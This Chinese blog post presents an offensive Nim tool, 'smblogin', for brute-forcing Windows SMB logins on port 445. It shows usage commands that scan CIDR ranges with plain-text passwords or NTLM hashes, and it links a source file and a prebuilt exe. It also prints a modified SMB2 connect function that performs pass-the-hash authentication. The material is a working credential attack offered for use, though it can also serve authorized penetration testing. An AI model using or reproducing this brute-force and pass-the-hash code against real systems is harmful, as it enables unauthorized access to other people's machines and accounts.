zoukankan      html  css  js  c++  java
  • SMB密码/HASH爆破(nim学习系列)

    SMB密码爆破(nim学习系列)

    关键字:windows smb密码爆破;445端口;弱口令扫描; ntlmhash爆破;

    使用方法

    • 支持明文密码爆破
    • 支持ntlmhash爆破
    • 通过命令行或者文件导入目标IP地址
    • 先扫描目标IP 445端口,如果开放再进行密码爆破
    • 输出爆破过程,成功密码保持到 smblogin.log

    IP地址的输入支持单个IP和CIDR。

    账号密码的输入支持两种格式。

    第一种,user.txt(存放用户名) 和 pass.txt(存放密码)。

    第二种, userpass.txt(一行一对账号密码,用空格间隔,比如:administrator 123456)。

    如果以上文件同时存在,优先选择第二种。

    举例

    明文密码爆破

    smblogin.exe plain 192.168.1.0/24

    smblogin.exe plain ip.txt

    ntlmhash爆破

    smblogin.exe hash 10.10.0.0/23

    截图

    使用截图

    使用截图2

    源代码 sublogin.nim

    源代码:

    sublogin.nim

    已经编译好的exe:

    sublogin.exe

    主要使用到 SMBExec 模块,可通过 nimble install SMBExec 进行安装。

    但是如果直接调用原版自带的 connect 函数(SMBExec.nim文件中)进行超过一次的登陆尝试,会提示“远程主机强迫关闭了一个现有的连接”错误。最后我复制 connect 函数,并重命名为 connectTest ,修改后的代码如下:

    #[
    Author: StudyCat
    Blog: https://www.cnblogs.com/studycat
    Github: https://github.com/StudyCat404/myNimExamples
    License: BSD 3-Clause
    ]#
    proc connectTest*(smb: SMB2): bool =
        var 
            recvClient: seq[string]
            response: string
        #### new line    
        messageID = 1    
        session_ID = @[0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte]    
        #### new line
        ## Connect
        smb.socket.connect(smb.target, 445.Port)
    
        ## SMBv1 Init negotiate
        smb.socket.send(getSMBv1NegoPacket())
        recvClient = smb.socket.recvPacket(1024, 100)
    
        ## Check Dialect
        #printC(Info, "Dialect: " & checkDialect recvClient)
    
        ## Check Signing
        signing = checkSigning recvClient
        #if signing:
        #    printC Info, "Signing Enabled"
        #else:
        #    printC Info, "Signing Disabled"
    
        ## SMBv2 negotiate
        smb.socket.send(getSMBv2NegoPacket())
        recvClient = smb.socket.recvPacket(1024, 100)
    
        ## SMBv2NTLM negotiate
        smb.socket.send(getSMBv2NTLMNego(signing))
        response = smb.socket.recvPacketForNTLM(1024, 100)
    
        ## Pass the hash
        let authPacket = getSMBv2NTLMAuth(getSMBv2NTLMSSP(response, smb.hash, smb.domain, smb.user, signing)) 
    
        smb.socket.send(authPacket)
        recvClient = smb.socket.recvPacket(1024, 100)
    
        if checkAuth recvClient:
            #printC Success, "Successfully logged on!"
            stage = TreeConnect
            return true
        else:
            #printC Error, "Login failed"
            stage = Exit
            return false
    
        #result = recvClient
    

    向 k8gege学习 http://k8gege.org/Ladon/SmbScan.html

  • 相关阅读:
    C语言 指针
    C语言 字符串指针和字符串数组使用区别
    perl和python3 同时打开两个文件
    Java反射初探123456789
    电脑打不开CHM格式文件解决办法
    Spring启动报8080端口被占用问题
    SpringBoot复习
    项目开发文档编写规范
    Java核心编程-第一卷
    转载——类文件系列
  • 原文地址:https://www.cnblogs.com/StudyCat/p/14358976.html
Copyright © 2011-2022 走看看